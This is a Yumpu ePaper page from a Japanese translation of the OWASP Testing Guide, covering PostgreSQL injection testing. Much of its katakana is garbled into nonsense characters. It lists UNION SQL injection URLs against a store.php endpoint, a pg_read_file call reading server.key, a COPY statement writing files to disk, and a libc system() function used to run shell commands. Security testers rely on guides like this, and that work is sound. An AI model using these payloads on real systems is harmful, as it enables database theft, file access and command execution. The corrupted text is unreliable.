11.05.2014 Views

OWASP テスティングガイド

OWASP テスティングガイド

OWASP テスティングガイド

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

デーソは、UNION キウヨ SQL イヱザェキサュヱを 実 行 することによって 取 り 出 されます8<br />

• COPY 文 で 追 加 された file_store の 行 数 を 取 り 出 します<br />

• UNION SQL イヱザェキサュヱの 時 に 1 行 を 取 り 出 します<br />

例 :<br />

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-<br />

-<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--<br />

...<br />

...<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--<br />

pg_read_file():<br />

この 関 数 は PostgreSQL 8.1 で 導 入 され、DBMS デーソディリキトヨの 内 部邪 に 位 置 する 任 意 のファイラを 読 むことができます。<br />

例 :<br />

SELECT pg_read_file('server.key',0,1000);<br />

ファアルに 書 き 出 す<br />

COPY 文 を 逆 にすることで、postgres ヤーゴの 権 限 でルーォラファイラサシテマに 書 き 込 むことができます。<br />

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--<br />

シェルアンヱジェクシュンヱ<br />

PostgreSQL は、ゾイナポッキョイブョヨと、python、perl、tcl といったシキヨプト 言 語 の 両 方 を 使 うことで、ォシソマ 関 数 を 追 加 す<br />

るという 仕 組 みを 提 供 します。<br />

ダアトポチクラアブラリ<br />

PostgreSQL 8.1 まで、libc にヨヱキされたォシソマ 関 数 の 追 加 が 可 能 でした8<br />

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />

サシテマは int を 返 すので、サシテマの 標 準 出 力 からどうやって 結 果 を 取 り 出 すことができるでしょうか?=<br />

ここに 小 さなトヨッキがあります8<br />

• 標 準 出 力 テーブラを 作 成 する<br />

CREATE TABLE stdout(id serial, system_out text)<br />

• 標 準 出 力 をヨゾイリキトするサェラケボヱドを 実 行 する<br />

SELECT system('uname -a > /tmp/test')<br />

• COPY 文 を 使 って、 標 準 出 力 テーブラに 先 ほどのケボヱドの 出 力 を 入 れます<br />

COPY stdout(system_out) FROM '/tmp/test'<br />

250

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!